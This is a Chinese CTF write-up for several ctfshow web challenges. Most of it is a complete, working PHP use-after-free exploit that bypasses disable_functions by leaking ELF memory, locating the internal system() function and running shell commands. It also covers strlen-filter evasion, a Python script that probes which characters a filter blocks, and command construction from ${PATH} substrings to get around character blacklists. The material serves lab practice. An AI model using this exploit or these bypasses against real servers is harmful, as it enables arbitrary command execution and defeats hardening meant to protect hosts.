    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    <?php

    function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
    public $a;
    public function __destruct() {
    global $backtrace;
    unset($this->a);
    $backtrace = (new Exception)->getTrace();
    if(!isset($backtrace[1]['args'])) {
    $backtrace = debug_backtrace();
    }
    }
    }

    class Helper {
    public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
    $address = 0;
    for($j = $s-1; $j >= 0; $j--) {
    $address <<= 8;
    $address |= ord($str[$p+$j]);
    }
    return $address;
    }

    function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
    $out .= sprintf("%c",($ptr & 0xff));
    $ptr >>= 8;
    }
    return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
    $i = 0;
    for($i = 0; $i < $n; $i++) {
    $str[$p + $i] = sprintf("%c",($v & 0xff));
    $v >>= 8;
    }
    }

    function leak($addr, $p = 0, $s = 8) {
    global $abc, $helper;
    write($abc, 0x68, $addr + $p - 0x10);
    $leak = strlen($helper->a);
    if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
    return $leak;
    }

    function parse_elf($base) {
    $e_type = leak($base, 0x10, 2);

    $e_phoff = leak($base, 0x20);
    $e_phentsize = leak($base, 0x36, 2);
    $e_phnum = leak($base, 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
    $header = $base + $e_phoff + $i * $e_phentsize;
    $p_type = leak($header, 0, 4);
    $p_flags = leak($header, 4, 4);
    $p_vaddr = leak($header, 0x10);
    $p_memsz = leak($header, 0x28);

    if($p_type == 1 && $p_flags == 6) {

    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
    $data_size = $p_memsz;
    } else if($p_type == 1 && $p_flags == 5) {
    $text_size = $p_memsz;
    }
    }

    if(!$data_addr || !$text_size || !$data_size)
    return false;

    return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
    $leak = leak($data_addr, $i * 8);
    if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
    $deref = leak($leak);

    if($deref != 0x746e6174736e6f63)
    continue;
    } else continue;

    $leak = leak($data_addr, ($i + 4) * 8);
    if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
    $deref = leak($leak);

    if($deref != 0x786568326e6962)
    continue;
    } else continue;

    return $data_addr + $i * 8;
    }
    }

    function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
    $addr = $start - 0x1000 * $i;
    $leak = leak($addr, 0, 7);
    if($leak == 0x10102464c457f) {
    return $addr;
    }
    }
    }

    function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
    $f_entry = leak($addr);
    $f_name = leak($f_entry, 0, 6);

    if($f_name == 0x6d6574737973) {
    return leak($addr + 8);
    }
    $addr += 0x20;
    } while($f_entry != 0);
    return false;
    }

    function trigger_uaf($arg) {

    $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    $vuln = new Vuln();
    $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
    die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10;
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
    $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
    die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
    die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
    die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
    die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
    die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
    write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4);
    write($abc, 0xd0 + 0x68, $zif_system);

    ($helper->b)($cmd);
    exit();
    }

    ctfshow("cat /flag0.txt");ob_end_flush();
    ?>

web73–74

源代码同上,只不过将函数strlen过滤
方法:将strlen使用mb_strlen替换或者重写strlen函数
重写如下:

1
2
3
4
5
6
7
8
9
10
11
12
function refun($s)
{
$ret=0;
for($i=0;$i<100000;$i++)
{
if($s[$i])
{
$ret=$ret+1;
}
}
return $ret;
}

然后使用脚本进行攻击即可
(脚本流量发送失败,直接502,由于服务端将此流量异常过滤了 ,等待修复中)
mmp打了一个思维定势,以为后面的题只会比前面过滤的更多,没想到后面竟然把前面ban的include和require放出来了,直接引用即可


web75


web118

打开题目之后发现只有一个入口,输入一些常用命令发现并不能正确执行反而会输出evil input,此时使用一个自动脚本检测都有哪些被过滤掉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import string

url = "http://697c7248-eb5c-4a2a-b2b6-d10304fd6eb1.challenge.ctf.show/"#要检测的题目地址

list = string.ascii_letters+string.digits+"~!@#$%^&*()_+\{\}|:<>`[]\;',./? "#检测字典

write_list=" "#白名单
black_list=' '#黑名单

#一次使用字典进行传入,检测是否被ban
for i in list:
data = {"code":i}
#print(data)
res = requests.post(url=url,data=data)
if 'evil input' not in res.text:
write_list+=i
else:
black_list+=i



print("白名单",end=':')
print(write_list.replace(" ","空格"))

print("黑名单",end=':')
print(black_list.replace(" ","空格"))

执行结果如下:

1
2
白名单:空格ABCDEFGHIJKLMNOPQRSTUVWXYZ~@#$_{}:;.?空格
黑名单:空格abcdefghijklmnopqrstuvwxyz0123456789!%^&*()+\\|<>`[]\',/

发现只有大写字符和一些符号还有,尝试输入$PATH发现没有回显猜测正确执行
尝试拼接ls:${PATH:5:1}${PATH:2:1} ${PATH:0:1},先在本地执行发现可以正常执行
由于数字并不能出现,因此我们要想办法把数字再用环境变量修改掉